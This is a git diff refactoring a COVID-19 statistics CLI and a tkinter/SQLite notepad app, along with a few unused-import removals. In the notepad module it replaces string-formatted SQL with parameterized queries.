""" + Format global statistics into a human-readable string with ASCII art. + + Args: + data (dict): Global data from disease.sh API. + + Returns: + str: Formatted string containing global stats. + """ + ascii_art = """ ▀▀█▀▀ █▀▀█ ▀▀█▀▀ █▀▀█ █░░   ▒█▀▀█ █▀▀█ █▀▀ █▀▀ █▀▀   ▀█▀ █▀▀▄   ▒█░░▒█ █▀▀█ █▀▀█ █░░ █▀▀▄ ░▒█░░ █░░█ ░░█░░ █▄▄█ █░░   ▒█░░░ █▄▄█ ▀▀█ █▀▀ ▀▀█   ▒█░ █░░█   ▒█▒█▒█ █░░█ █▄▄▀ █░░ █░░█ -░▒█░░ ▀▀▀▀ ░░▀░░ ▀░░▀ ▀▀▀   ▒█▄▄█ ▀░░▀ ▀▀▀ ▀▀▀ ▀▀▀   ▄█▄ ▀░░▀   ▒█▄▀▄█ ▀▀▀▀ ▀░▀▀ ▀▀▀ ▀▀▀░\n -New Confirmed Cases :- {NewConfirmed} -Total Confirmed Cases :- {TotalConfirmed} -New Deaths :- {NewDeaths} -Total Deaths :- {TotalDeaths} -New Recovered :- {NewRecovered} -Total Recovered :- {TotalRecovered} +░▒█░░ ▀▀▀▀ ░░▀░░ ▀░░▀ ▀▀▀   ▒█▄▄█ ▀░░▀ ▀▀▀ ▀▀▀ ▀▀▀   ▄█▄ ▀░░▀   ▒█▄▀▄█ ▀▀▀▀ ▀░▀▀ ▀▀▀ ▀▀▀░ +""" + stats = ( + f"New Confirmed Cases :- {data.get('todayCases', 0)}\n" + f"Total Confirmed Cases :- {data.get('cases', 0)}\n" + f"New Deaths :- {data.get('todayDeaths', 0)}\n" + f"Total Deaths :- {data.get('deaths', 0)}\n" + f"New Recovered :- {data.get('todayRecovered', 0)}\n" + f"Total Recovered :- {data.get('recovered', 0)}\n" + f"Active Cases :- {data.get('active', 0)}\n" + f"Critical Cases :- {data.get('critical', 0)}" + ) + return f"{ascii_art}\n{stats}" + + +def format_india_stats(data): """ - print(world) + Format India's statistics into a human-readable string with ASCII art. + Args: + data (dict): India data from disease.sh API. -def india(): - cases = f""" + Returns: + str: Formatted string containing India's stats. + """ + ascii_art = """ ██╗███╗░░██╗██████╗░██╗░█████╗░ ██║████╗░██║██╔══██╗██║██╔══██╗ ██║██╔██╗██║██║░░██║██║███████║ ██║██║╚████║██║░░██║██║██╔══██║ ██║██║░╚███║██████╔╝██║██║░░██║ ╚═╝╚═╝░░╚══╝╚═════╝░╚═╝╚═╝░░╚═╝ - -Country Name :- {name} -New Confirmed Cases :- {indiaonfirmed} -Total Confirmed Cases :- {indiatotal} -New Deaths :- {indiaDeaths} -Total Deaths :- {deathstotal} -New Recovered :- {indianewr} -Total Recovered :- {totalre} -Information Till :- {DateUpdate} """ - print(cases) - - -print( + stats = ( + f"Country Name :- {data.get('country', 'India')}\n" + f"New Confirmed Cases :- {data.get('todayCases', 0)}\n" + f"Total Confirmed Cases :- {data.get('cases', 0)}\n" + f"New Deaths :- {data.get('todayDeaths', 0)}\n" + f"Total Deaths :- {data.get('deaths', 0)}\n" + f"New Recovered :- {data.get('todayRecovered', 0)}\n" + f"Total Recovered :- {data.get('recovered', 0)}\n" + f"Active Cases :- {data.get('active', 0)}\n" + f"Critical Cases :- {data.get('critical', 0)}\n" + f"Information Till :- {data.get('updated', '')}" + ) + return f"{ascii_art}\n{stats}" + + +def main(): """ + Main interactive loop: fetch data, display menu, and show selected stats. + """ + print("🌐 Fetching latest COVID-19 data...") + global_data = fetch_data(GLOBAL_API, "global data") + india_data = fetch_data(INDIA_API, "India data") + + # Print the big title + title_art = """ ░█████╗░░█████╗░██████╗░░█████╗░███╗░░██╗░█████╗░  ██╗░░░██╗██╗██████╗░██╗░░░██╗░██████╗ ██╔══██╗██╔══██╗██╔══██╗██╔══██╗████╗░██║██╔══██╗  ██║░░░██║██║██╔══██╗██║░░░██║██╔════╝ ██║░░╚═╝██║░░██║██████╔╝██║░░██║██╔██╗██║███████║  ╚██╗░██╔╝██║██████╔╝██║░░░██║╚█████╗░ ██║░░██╗██║░░██║██╔══██╗██║░░██║██║╚████║██╔══██║  ░╚████╔╝░██║██╔══██╗██║░░░██║░╚═══██╗ ╚█████╔╝╚█████╔╝██║░░██║╚█████╔╝██║░╚███║██║░░██║  ░░╚██╔╝░░██║██║░░██║╚██████╔╝██████╔╝ -░╚════╝░░╚════╝░╚═╝░░╚═╝░╚════╝░╚═╝░░╚══╝╚═╝░░╚═╝  ░░░╚═╝░░░╚═╝╚═╝░░╚═╝░╚═════╝░╚═════╝░""" -) -print("\nDeveloped By @TheDarkW3b") - - -def choices(): - print("\n1 - To Know Corona Virus Update Across World") - print("\n2 - To Know Corona Virus Update In India") - choice = input("Enter 1 Or 2 :- ") - - if choice == "1": - world() - sleep(1) - choices() - elif choice == "2": - india() - sleep(1) - choices() - else: - print("\nYou Have Entered Something Wrong, Please Enter Again") - choices() - - -choices() +░╚════╝░░╚════╝░╚═╝░░╚═╝░╚════╝░╚═╝░░╚══╝╚═╝░░╚═╝  ░░░╚═╝░░░╚═╝╚═╝░░╚═╝░╚═════╝░╚═════╝░ +""" + print(title_art) + print("\nDeveloped By @TheDarkW3b") + print("Data source: disease.sh API") + + while True: + print("\n1 - To Know Corona Virus Update Across World") + print("2 - To Know Corona Virus Update In India") + choice = input("Enter 1 Or 2 (or 'q' to quit): ").strip() + + if choice == "1": + print(format_world_stats(global_data)) + time.sleep(1) + elif choice == "2": + print(format_india_stats(india_data)) + time.sleep(1) + elif choice.lower() == "q": + print("Exiting... Stay safe!") + break + else: + print("\n⚠️ Invalid input. Please enter 1, 2, or 'q' to quit.") + + +if __name__ == "__main__": + try: + main() + except KeyboardInterrupt: + print("\n👋 Interrupted by user. Goodbye!") + sys.exit(0) diff --git a/file_handle/File handle binary/question 1 (elegible for remedial, top marks).py b/file_handle/File handle binary/question 1 (elegible for remedial, top marks).py index 27a29f887dc..e2128e2db42 100644 --- a/file_handle/File handle binary/question 1 (elegible for remedial, top marks).py +++ b/file_handle/File handle binary/question 1 (elegible for remedial, top marks).py @@ -20,7 +20,6 @@ student_record = os.getenv("STUDENTS_RECORD_FILE") import pickle -import logging # Define logger with info # import polar diff --git a/file_handle/File handle binary/search record in binary file.py b/file_handle/File handle binary/search record in binary file.py index a3b89e69c87..61c1a4b3ee7 100644 --- a/file_handle/File handle binary/search record in binary file.py +++ b/file_handle/File handle binary/search record in binary file.py @@ -1,7 +1,6 @@ # binary file to search a given record import pickle -from dotenv import load_dotenv def search(): diff --git a/nodepad/notepad.py b/nodepad/notepad.py index 356316e3d9e..69362e5af50 100644 --- a/nodepad/notepad.py +++ b/nodepad/notepad.py @@ -1,64 +1,115 @@ -#! /usr/bin/env python +#!/usr/bin/env python # # GUI module generated by PAGE version 4.10 # In conjunction with Tcl version 8.6 # Jan 30, 2018 02:49:06 PM +# +# Refactored for better maintainability, explicit imports, +# and improved code style. -try: - from Tkinter import * -except ImportError: - from tkinter import * - -try: - import ttk +""" +notepad.py – Main GUI for the Notepad application. - py3 = 0 -except ImportError: - import tkinter.ttk as ttk +This module creates the graphical interface using tkinter and ttk. +It provides tabs for adding, displaying, and managing notes. +The backend logic is handled by notepad_support.py. +""" - py3 = 1 +import sys +from tkinter import Tk, Toplevel, Frame, Label, Button, Entry, Text, WORD +from tkinter import ttk import notepad_support +# Global variables (used by the PAGE-generated structure) +w = None # Toplevel window reference +w_win = None # Alias for w (kept for compatibility) +rt = None # Root window reference + def vp_start_gui(): - """Starting point when module is the main routine.""" - global val, w, root + """ + Start the GUI application as the main routine. + + This is the entry point when the module is run directly. + """ + global w, root root = Tk() root.resizable(False, False) - top = Notepads_managment(root) + top = NotepadsManagement(root) notepad_support.init(root, top) root.mainloop() -w = None +def create_Notepads_managment(root, *args, **kwargs): + """ + Create a new NotepadsManagement window as a Toplevel. + + This is used when the module is imported by another program. + Args: + root: The parent Tkinter root window. + *args, **kwargs: Additional arguments passed to the support init. -def create_Notepads_managment(root, *args, **kwargs): - """Starting point when module is imported by another program.""" + Returns: + tuple: (Toplevel window, NotepadsManagement instance) + """ global w, w_win, rt rt = root w = Toplevel(root) - top = Notepads_managment(w) + top = NotepadsManagement(w) notepad_support.init(w, top, *args, **kwargs) return (w, top) def destroy_Notepads_managment(): + """Destroy the main Toplevel window and release the reference.""" global w - w.destroy() - w = None - - -class Notepads_managment: - def __init__(self, top=None): - """This class configures and populates the toplevel window. - top is the toplevel containing window.""" - _bgcolor = "#d9d9d9" # X11 color: 'gray85' - _fgcolor = "#000000" # X11 color: 'black' - _compcolor = "#d9d9d9" # X11 color: 'gray85' - _ana1color = "#d9d9d9" # X11 color: 'gray85' - _ana2color = "#d9d9d9" # X11 color: 'gray85' + if w: + w.destroy() + w = None + + +class NotepadsManagement: + """ + Main GUI class for the Notepads management application. + + This class sets up the notebook (tabbed interface) with three tabs: + - Add: Input fields for title and content, with Add/Clear buttons. + - Display: Search and navigation through existing notes. + - Create: Button to initialize the database table. + + Attributes: + style (ttk.Style): The ttk style object for theming. + TNotebook1 (ttk.Notebook): The main notebook widget. + inputNotice, inputTitle, outputNotice, inputSearchTitle: Various + entry and text widgets. + Button2, Button3, Button4, Button5, Button7, Button8, Button6, Button1: + Button widgets with respective callbacks. + Label1, Label2, Label3, Label4: Label widgets for descriptions. + errorOutput (Label): Label for displaying status/error messages. + """ + + def __init__(self, top): + """ + Initialize the GUI layout. + + Args: + top: The parent Tkinter window (either Tk or Toplevel). + """ + self.top = top + self._setup_style() + self._create_widgets() + self._place_widgets() + self._bind_events() + + def _setup_style(self): + """Configure the ttk style for the application.""" + _bgcolor = "#d9d9d9" # gray85 + _fgcolor = "#000000" + _compcolor = "#d9d9d9" + _ana2color = "#d9d9d9" + self.style = ttk.Style() if sys.platform == "win32": self.style.theme_use("winnative") @@ -69,145 +120,154 @@ def __init__(self, top=None): ".", background=[("selected", _compcolor), ("active", _ana2color)] ) - top.geometry("600x450") - top.title("Notepads managment") - top.configure(highlightcolor="black") - + # Notebook tabs self.style.configure("TNotebook.Tab", background=_bgcolor) self.style.configure("TNotebook.Tab", foreground=_fgcolor) self.style.map( "TNotebook.Tab", background=[("selected", _compcolor), ("active", _ana2color)], ) - self.TNotebook1 = ttk.Notebook(top) - self.TNotebook1.place(relx=0.02, rely=0.02, relheight=0.85, relwidth=0.97) - self.TNotebook1.configure(width=582) - self.TNotebook1.configure(takefocus="") - self.TNotebook1_t0 = Frame(self.TNotebook1) - self.TNotebook1.add(self.TNotebook1_t0, padding=3) - self.TNotebook1.tab( - 0, - text="Add", - compound="none", - underline="-1", + + def _create_widgets(self): + """Create all GUI widgets (without placing them yet).""" + # Main window configuration + self.top.geometry("600x450") + self.top.title("Notepads management") + self.top.configure(highlightcolor="black") + + # Notebook + self.TNotebook1 = ttk.Notebook(self.top) + self.TNotebook1.configure(width=582, takefocus="") + + # Tab 0: Add + self.tab0 = Frame(self.TNotebook1) + self.TNotebook1.add(self.tab0, padding=3, text="Add") + + # Tab 1: Display + self.tab1 = Frame(self.TNotebook1) + self.TNotebook1.add(self.tab1, padding=3, text="Display") + + # Tab 2: Create + self.tab2 = Frame(self.TNotebook1) + self.TNotebook1.add(self.tab2, padding=3, text="Create") + + # ---- Tab0 widgets ---- + self.inputNotice = Text( + self.tab0, + background="white", + font="TkTextFont", + selectbackground="#c4c4c4", + width=396, + wrap=WORD, ) - self.TNotebook1_t1 = Frame(self.TNotebook1) - self.TNotebook1.add(self.TNotebook1_t1, padding=3) - self.TNotebook1.tab( - 1, - text="Display", - compound="none", - underline="-1", + + self.inputTitle = Entry( + self.tab0, + background="white", + font="TkFixedFont", + selectbackground="#c4c4c4", ) - self.TNotebook1_t2 = Frame(self.TNotebook1) - self.TNotebook1.add(self.TNotebook1_t2, padding=3) - self.TNotebook1.tab( - 2, - text="Create", - compound="none", - underline="-1", + + self.Label1 = Label(self.tab0, text="Title", activebackground="#f9f9f9") + + self.Label2 = Label(self.tab0, text="Notice:", activebackground="#f9f9f9") + + self.Button2 = Button(self.tab0, text="Add", activebackground="#d9d9d9") + self.Button3 = Button(self.tab0, text="Clear", activebackground="#d9d9d9") + + # ---- Tab1 widgets ---- + self.outputNotice = Text( + self.tab1, + background="white", + font="TkTextFont", + selectbackground="#c4c4c4", + width=346, + wrap=WORD, ) - self.inputNotice = Text(self.TNotebook1_t0) - self.inputNotice.place(relx=0.02, rely=0.28, relheight=0.64, relwidth=0.68) - self.inputNotice.configure(background="white") - self.inputNotice.configure(font="TkTextFont") - self.inputNotice.configure(selectbackground="#c4c4c4") - self.inputNotice.configure(width=396) - self.inputNotice.configure(wrap=WORD) + self.inputSearchTitle = Entry( + self.tab1, + background="white", + font="TkFixedFont", + selectbackground="#c4c4c4", + ) - self.inputTitle = Entry(self.TNotebook1_t0) - self.inputTitle.place(relx=0.09, rely=0.08, height=20, relwidth=0.6) - self.inputTitle.configure(background="white") - self.inputTitle.configure(font="TkFixedFont") - self.inputTitle.configure(selectbackground="#c4c4c4") + self.Label3 = Label(self.tab1, text="Title", activebackground="#f9f9f9") - self.Label1 = Label(self.TNotebook1_t0) - self.Label1.place(relx=0.02, rely=0.08, height=18, width=29) - self.Label1.configure(activebackground="#f9f9f9") - self.Label1.configure(text="""Title""") + self.Button4 = Button(self.tab1, text="Next", activebackground="#d9d9d9") + self.Button5 = Button(self.tab1, text="Back", activebackground="#d9d9d9") + self.Button7 = Button(self.tab1, text="Search", activebackground="#d9d9d9") + self.Button8 = Button(self.tab1, text="Delete", activebackground="#d9d9d9") - self.Label2 = Label(self.TNotebook1_t0) - self.Label2.place(relx=0.02, rely=0.22, height=18, width=46) - self.Label2.configure(activebackground="#f9f9f9") - self.Label2.configure(text="""Notice:""") + # ---- Tab2 widgets ---- + self.Label4 = Label( + self.tab2, + text="For creating a new notepads managment.", + activebackground="#f9f9f9", + ) - self.Button2 = Button(self.TNotebook1_t0) - self.Button2.place(relx=0.74, rely=0.28, height=26, width=50) - self.Button2.configure(activebackground="#d9d9d9") - self.Button2.configure(text="""Add""") - self.Button2.bind("", lambda e: notepad_support.add_button(e)) + self.Button6 = Button(self.tab2, text="Create", activebackground="#d9d9d9") + + # ---- Main window widgets (outside notebook) ---- + self.Button1 = Button(self.top, text="Exit", activebackground="#d9d9d9") + self.errorOutput = Label(self.top, activebackground="#f9f9f9") + + def _place_widgets(self): + """Place all widgets using place() or grid() (currently using place()).""" + self.TNotebook1.place(relx=0.02, rely=0.02, relheight=0.85, relwidth=0.97) - self.Button3 = Button(self.TNotebook1_t0) + # ---- Tab0 placements ---- + self.inputNotice.place(relx=0.02, rely=0.28, relheight=0.64, relwidth=0.68) + self.inputTitle.place(relx=0.09, rely=0.08, height=20, relwidth=0.6) + self.Label1.place(relx=0.02, rely=0.08, height=18, width=29) + self.Label2.place(relx=0.02, rely=0.22, height=18, width=46) + self.Button2.place(relx=0.74, rely=0.28, height=26, width=50) self.Button3.place(relx=0.74, rely=0.39, height=26, width=56) - self.Button3.configure(activebackground="#d9d9d9") - self.Button3.configure(text="""Clear""") - self.Button3.bind("", lambda e: notepad_support.clear_button(e)) - self.outputNotice = Text(self.TNotebook1_t1) + # ---- Tab1 placements ---- self.outputNotice.place(relx=0.02, rely=0.19, relheight=0.76, relwidth=0.6) - self.outputNotice.configure(background="white") - self.outputNotice.configure(font="TkTextFont") - self.outputNotice.configure(selectbackground="#c4c4c4") - self.outputNotice.configure(width=346) - self.outputNotice.configure(wrap=WORD) - - self.inputSearchTitle = Entry(self.TNotebook1_t1) self.inputSearchTitle.place(relx=0.09, rely=0.08, height=20, relwidth=0.51) - self.inputSearchTitle.configure(background="white") - self.inputSearchTitle.configure(font="TkFixedFont") - self.inputSearchTitle.configure(selectbackground="#c4c4c4") - - self.Label3 = Label(self.TNotebook1_t1) self.Label3.place(relx=0.02, rely=0.08, height=18, width=29) - self.Label3.configure(activebackground="#f9f9f9") - self.Label3.configure(text="""Title""") - - self.Button4 = Button(self.TNotebook1_t1) self.Button4.place(relx=0.69, rely=0.33, height=26, width=54) - self.Button4.configure(activebackground="#d9d9d9") - self.Button4.configure(text="""Next""") - self.Button4.bind("", lambda e: notepad_support.next_button(e)) - - self.Button5 = Button(self.TNotebook1_t1) self.Button5.place(relx=0.69, rely=0.44, height=26, width=55) - self.Button5.configure(activebackground="#d9d9d9") - self.Button5.configure(text="""Back""") - self.Button5.bind("", lambda e: notepad_support.back_button(e)) - - self.Button7 = Button(self.TNotebook1_t1) self.Button7.place(relx=0.69, rely=0.22, height=26, width=68) - self.Button7.configure(activebackground="#d9d9d9") - self.Button7.configure(text="""Search""") - self.Button7.bind("", lambda e: notepad_support.search_button(e)) - - self.Button8 = Button(self.TNotebook1_t1) self.Button8.place(relx=0.69, rely=0.56, height=26, width=64) - self.Button8.configure(activebackground="#d9d9d9") - self.Button8.configure(text="""Delete""") - self.Button8.bind("", lambda e: notepad_support.delete_button(e)) - self.Label4 = Label(self.TNotebook1_t2) + # ---- Tab2 placements ---- self.Label4.place(relx=0.09, rely=0.14, height=18, width=259) - self.Label4.configure(activebackground="#f9f9f9") - self.Label4.configure(text="""For creating a new notepads managment.""") - - self.Button6 = Button(self.TNotebook1_t2) self.Button6.place(relx=0.22, rely=0.25, height=26, width=69) - self.Button6.configure(activebackground="#d9d9d9") - self.Button6.configure(text="""Create""") - self.Button6.bind("", lambda e: notepad_support.create_button(e)) - self.Button1 = Button(top) + # ---- Main window ---- self.Button1.place(relx=0.4, rely=0.91, height=26, width=117) - self.Button1.configure(activebackground="#d9d9d9") - self.Button1.configure(text="""Exit""") - self.Button1.bind("", lambda e: notepad_support.exit_button(e)) - - self.errorOutput = Label(top) self.errorOutput.place(relx=0.03, rely=0.91, height=18, width=206) - self.errorOutput.configure(activebackground="#f9f9f9") - + def _bind_events(self): + """Bind buttons to their callback functions from notepad_support.""" + # Instead of bind, use command (more standard) + self.Button2.configure(command=lambda: notepad_support.add_button(None)) + self.Button3.configure(command=lambda: notepad_support.clear_button(None)) + self.Button4.configure(command=lambda: notepad_support.next_button(None)) + self.Button5.configure(command=lambda: notepad_support.back_button(None)) + self.Button7.configure(command=lambda: notepad_support.search_button(None)) + self.Button8.configure(command=lambda: notepad_support.delete_button(None)) + self.Button6.configure(command=lambda: notepad_support.create_button(None)) + self.Button1.configure(command=lambda: notepad_support.exit_button(None)) + + # Keep the old naming convention for backward compatibility if needed, + # but we can also define properties to mimic the original names. + @property + def TNotebook1_t0(self): + return self.tab0 + + @property + def TNotebook1_t1(self): + return self.tab1 + + @property + def TNotebook1_t2(self): + return self.tab2 + + +# If run as main, start the GUI if __name__ == "__main__": vp_start_gui() diff --git a/nodepad/notepad_support.py b/nodepad/notepad_support.py new file mode 100644 index 00000000000..697b1b6fc39 --- /dev/null +++ b/nodepad/notepad_support.py @@ -0,0 +1,370 @@ +#!/usr/bin/env python +# +# Support module generated by PAGE version 4.10 +# In conjunction with Tcl version 8.6 +# Jan 29, 2018 03:25:00 PM +# +# Refactored for better performance, security, and maintainability. +# Full documentation (Google style) added for all public functions. + +""" +notepad_support.py – Backend support for the Notepad GUI application. + +This module handles database operations (SQLite) and provides callback +functions for the notepad GUI (created by PAGE). It manages notes storage, +search, navigation, and deletion. +""" + +import sys +import sqlite3 +from tkinter import END, Toplevel # explicit imports instead of * + +# ---------------------------------------------------------------------- +# Database configuration +# ---------------------------------------------------------------------- +DB_NAME = "data.db" + + +def get_db_connection(): + """ + Return a new SQLite connection to the notes database. + + The connection uses `row_factory = sqlite3.Row` for convenient + dictionary-like access to rows. + + Returns: + sqlite3.Connection: A connection object to `data.db`. + """ + conn = sqlite3.connect(DB_NAME) + conn.row_factory = sqlite3.Row + return conn + + +# Global connection (kept for backward compatibility) +connection = sqlite3.connect(DB_NAME) +cursor = connection.cursor() + + +class _NotepadState: + """ + Encapsulates all mutable global state for the notepad support module. + + Attributes: + w: The main GUI widget (from PAGE). + top_level: The top-level Tkinter window. + root: Alias for top_level. + search (bool): Flag indicating whether a search is active. + results (list): List of rows (tuples) from the last search. + index (int): Current position in the search results. + """ + + __slots__ = ("w", "top_level", "root", "search", "results", "index") + + def __init__(self): + self.w = None + self.top_level = None + self.root = None + self.search = False + self.results = [] + self.index = 0 + + +_state = _NotepadState() + + +# ---------------------------------------------------------------------- +# Helper functions (internal) +# ---------------------------------------------------------------------- +def _update_output_notice(text): + """ + Replace the content of the output notice widget with the given text. + + Args: + text (str): The text to display in the output notice area. + """ + if _state.w and hasattr(_state.w, "outputNotice"): + _state.w.outputNotice.delete(1.0, END) + _state.w.outputNotice.insert(1.0, text) + + +def _set_error_message(msg): + """ + Set the error message label in the GUI. + + Args: + msg (str): The error or status message to display. + """ + if _state.w and hasattr(_state.w, "errorOutput"): + _state.w.errorOutput.configure(text=msg) + + +# ---------------------------------------------------------------------- +# Public callback functions (used by the PAGE-generated GUI) +# ---------------------------------------------------------------------- + + +def delete_button(p1): + """ + Delete the currently selected note from the database. + + The note is identified by the global index into the last search results. + + Args: + p1: Unused argument (required by the callback signature). + + Side effects: + - Removes the note from the database. + - Updates the error message label. + - Commits the change to the database. + """ + global cursor, connection + try: + if 0 <= _state.index < len(_state.results): + note_id = _state.results[_state.index][0] + cursor.execute("DELETE FROM notes WHERE id = ?", (note_id,)) + connection.commit() + _set_error_message("Note deleted.") + else: + _set_error_message("No note selected.") + except sqlite3.Error as e: + _set_error_message(f"Database error: {e}") + + +def create_button(p1): + """ + Create the `notes` table if it does not already exist. + + This function ensures the database schema is ready. It is safe to call + multiple times. + + Args: + p1: Unused argument (required by the callback signature). + + Side effects: + - Creates the table if missing. + - Updates the status/error label. + """ + global cursor, connection + try: + cursor.execute(""" + CREATE TABLE IF NOT EXISTS notes ( + id INTEGER PRIMARY KEY, + title TEXT, + note TEXT + ) + """) + connection.commit() + _set_error_message("Table ready.") + except sqlite3.Error as e: + _set_error_message(f"Error creating table: {e}") + + +def add_button(p1): + """ + Insert a new note into the database. + + Reads the title and note from the GUI input fields. Both fields must be + non‑empty. After insertion, the input fields are cleared. + + Args: + p1: Unused argument (required by the callback signature). + + Side effects: + - Adds a record to the database. + - Clears the input fields. + - Updates the status/error label. + """ + global cursor, connection + if not _state.w: + return + title = _state.w.inputTitle.get().strip() + note = _state.w.inputNotice.get(1.0, END).strip() + if title and note: + try: + cursor.execute( + "INSERT INTO notes (title, note) VALUES (?, ?)", (title, note) + ) + connection.commit() + _set_error_message("Note added.") + # Clear fields + _state.w.inputTitle.delete(0, END) + _state.w.inputNotice.delete(1.0, END) + except sqlite3.Error as e: + _set_error_message(f"Insert failed: {e}") + else: + _set_error_message("Please fill in both title and note.") + + +def back_button(p1): + """ + Navigate to the previous search result in the output notice. + + Decrements the global index and updates the displayed note content. + If the index goes out of bounds, it is clamped and an error message is shown. + + Args: + p1: Unused argument (required by the callback signature). + + Side effects: + - Updates the output notice content. + - Updates the error label. + """ + _state.index -= 1 + if 0 <= _state.index < len(_state.results): + _update_output_notice(_state.results[_state.index][2]) + _set_error_message("") + else: + _set_error_message("No previous result.") + _state.index = max(0, min(_state.index, len(_state.results) - 1)) + + +def clear_button(p1): + """ + Clear the input notice (text area) field. + + Args: + p1: Unused argument (required by the callback signature). + + Side effects: + - Empties the input notice widget. + - Clears any error message. + """ + if _state.w and hasattr(_state.w, "inputNotice"): + _state.w.inputNotice.delete(1.0, END) + _set_error_message("") + + +def exit_button(p1): + """ + Terminate the application immediately. + + Args: + p1: Unused argument (required by the callback signature). + + Side effects: + - Exits the Python interpreter. + """ + sys.exit(0) + + +def search_button(p1): + """ + Search for notes whose title contains the given search term. + + The search is case‑insensitive (SQLite `LIKE` is case‑insensitive + by default for ASCII). The first matching note is displayed in the + output notice. Results are stored in the global state for navigation. + + Args: + p1: Unused argument (required by the callback signature). + + Side effects: + - Updates the search results list. + - Displays the first result (or a message if none found). + - Updates the status/error label. + """ + global cursor + if not _state.w: + return + search_term = _state.w.inputSearchTitle.get().strip() + if not search_term: + _set_error_message("Please enter a search term.") + return + try: + cursor.execute("SELECT * FROM notes WHERE title LIKE ?", (f"%{search_term}%",)) + _state.results = cursor.fetchall() + _set_error_message(f"{len(_state.results)} results found.") + _state.index = 0 + if _state.results: + _update_output_notice(_state.results[0][2]) + else: + _update_output_notice("No matching notes.") + except sqlite3.Error as e: + _set_error_message(f"Search failed: {e}") + + +def next_button(p1): + """ + Navigate to the next search result in the output notice. + + Increments the global index and displays the corresponding note. + If the search field is empty, an error is shown. If the index goes + beyond the last result, it is clamped. + + Args: + p1: Unused argument (required by the callback signature). + + Side effects: + - Updates the output notice content. + - Updates the status/error label. + """ + if not _state.w: + return + search_term = _state.w.inputSearchTitle.get().strip() + if not search_term: + _set_error_message("Please fill the search field.") + return + _state.index += 1 + if 0 <= _state.index < len(_state.results): + _update_output_notice(_state.results[_state.index][2]) + _set_error_message("") + else: + _set_error_message("No more results.") + _state.index = len(_state.results) - 1 + + +# ---------------------------------------------------------------------- +# Initialization and cleanup (required by PAGE) +# ---------------------------------------------------------------------- + + +def init(top, gui, *args, **kwargs): + """ + Initialize the module with references to the top-level window and GUI object. + + This function is called by the PAGE‑generated code to pass the main window + and the GUI widget (which contains the various input/output elements). + + Args: + top: The top‑level Tkinter window. + gui: The main GUI widget (from PAGE) that contains input/output fields. + *args, **kwargs: Additional arguments (ignored). + + Side effects: + - Stores references globally for use by other callback functions. + - Also sets legacy global variables `w`, `top_level`, `root` for + backward compatibility. + """ + global w, top_level, root + _state.w = gui + _state.top_level = top + _state.root = top + # Legacy global variables (for old code that may reference them) + w = gui + top_level = top + root = top + + +def destroy_window(): + """ + Close the top‑level window and release resources. + + This function is called when the application is closed. + + Side effects: + - Destroys the top‑level Tkinter window. + - Sets the internal reference to None. + """ + if _state.top_level: + _state.top_level.destroy() + _state.top_level = None + + +# ---------------------------------------------------------------------- +# If this module is executed directly, show a message. +# ---------------------------------------------------------------------- + +if __name__ == "__main__": + import notepad + + notepad.vp_start_gui() diff --git a/notepad/notepad_support.py b/notepad/notepad_support.py deleted file mode 100644 index 9faf0ecabc7..00000000000 --- a/notepad/notepad_support.py +++ /dev/null @@ -1,164 +0,0 @@ -#! /usr/bin/env python -# -# Support module generated by PAGE version 4.10 -# In conjunction with Tcl version 8.6 -# Jan 29, 2018 03:25:00 PM - - -import sqlite3 -import tkinter as tk - -try: - from Tkinter import * -except ImportError: - from tkinter import * - -try: - import ttk - - py3 = 0 -except ImportError: - py3 = 1 - -# connect with database 'data.db' -connection = sqlite3.connect("data.db") - -# creates a cursor (pointer) to the data base -cursor = connection.cursor() - -search = False - -results = [] - -index = 0 - - -def delete_button(p1): - global index - global results - global cursor - - # fetch id of the current note - id = results[index][0] - - sql_command = """ DELETE FROM notes WHERE id = {0}; """ - sql_command = sql_command.format(id) - - cursor.execute(sql_command) - - connection.commit() - - -def create_button(p1): - """ - for creating a new database - """ - global cursor - - sql_command = """ - CREATE TABLE notes ( - id INTEGER PRIMARY KEY, - title TEXT, - note TEXT);""" - - try: - cursor.execute(sql_command) - w.errorOutput.configure(text="") - except: - w.errorOutput.configure(text="The database already exists") - - -def add_button(p1): - # for manipulating the data base - global cursor - global connection - if len(w.inputTitle.get()) > 0 and len(w.inputNotice.get(1.0, END)) > 0: - w.errorOutput.configure(text="") - title = w.inputTitle.get() - note = w.inputNotice.get(1.0, END) - sql_command = """INSERT INTO notes (title,note) VALUES ("{0}","{1}"); """ - sql_command = sql_command.format(title, note) - cursor.execute(sql_command) - connection.commit() - else: - w.errorOutput.configure(text="Please fill the fields. ") - - -def back_button(p1): - global search - global results - global index - - w.errorOutput.configure(text="") - index -= 1 - if index >= 0 and index < len(results): - w.outputNotice.delete(1.0, END) - w.outputNotice.insert(1.0, results[index][2]) - - -def clear_button(p1): - """ - This function is for the clear button. - This will clear the notice-input field - """ - w.inputNotice.delete(1.0, END) - - -def exit_button(p1): - """ - function for the exit button. - this will exit the application. - """ - sys.exit(0) - - -def search_button(p1): - global cursor - global results - global index - w.errorOutput.configure(text="") - sql_command = """ SELECT * FROM notes WHERE title LIKE "%{0}%";""" - sql_command = sql_command.format(w.inputSearchTitle.get()) - try: - cursor.execute(sql_command) - results = cursor.fetchall() - w.errorOutput.configure(text=str(len(results)) + " results") - index = 0 - if index >= 0 and index < len(results): - w.outputNotice.delete(1.0, END) - w.outputNotice.insert(1.0, results[index][2]) - except: - w.errorOutput.configure(text="Please create at first a database.") - - -def next_button(p1): - global results - global index - index += 1 - if len(w.inputSearchTitle.get()) > 0: - if index >= 0 and index < len(results): - w.outputNotice.delete(1.0, END) - w.outputNotice.insert(1.0, results[index][2]) - - else: - w.errorOutput.configure(text="Please fill the search field. ") - - -def init(top, gui, *args, **kwargs): - global w, top_level, root - w = gui - top_level = top - root = top - - -def destroy_window(): - # Function which closes the window. - global top_level - top_level.destroy() - top_level = None - - -if __name__ == "__main__": - import notepad - - notepad.vp_start_gui() diff --git a/password_checker_code.py b/password_checker_code.py index 1821f1c27d6..08072c6d81f 100644 --- a/password_checker_code.py +++ b/password_checker_code.py @@ -1,6 +1,3 @@ -import string - - def check_password_strength(password): strength = 0 diff --git a/remoteok_jobs_scraper/remoteok_jobs.py b/remoteok_jobs_scraper/remoteok_jobs.py index fa9c81226d4..ce188f6d4a6 100644 --- a/remoteok_jobs_scraper/remoteok_jobs.py +++ b/remoteok_jobs_scraper/remoteok_jobs.py @@ -1,5 +1,4 @@ import requests -import xlwt from xlwt import Workbook BASE_URL = "https://remoteok.com/api" diff --git a/url_shortner.py b/url_shortner.py index e50d2c5150c..77417e17213 100644 --- a/url_shortner.py +++ b/url_shortner.py @@ -15,6 +15,6 @@ # Displaying the shortened URL. print(f"Shortened URL: {shortened_URL}") -except Exception as e: +except Exception: # this code runes on any error is generated by user 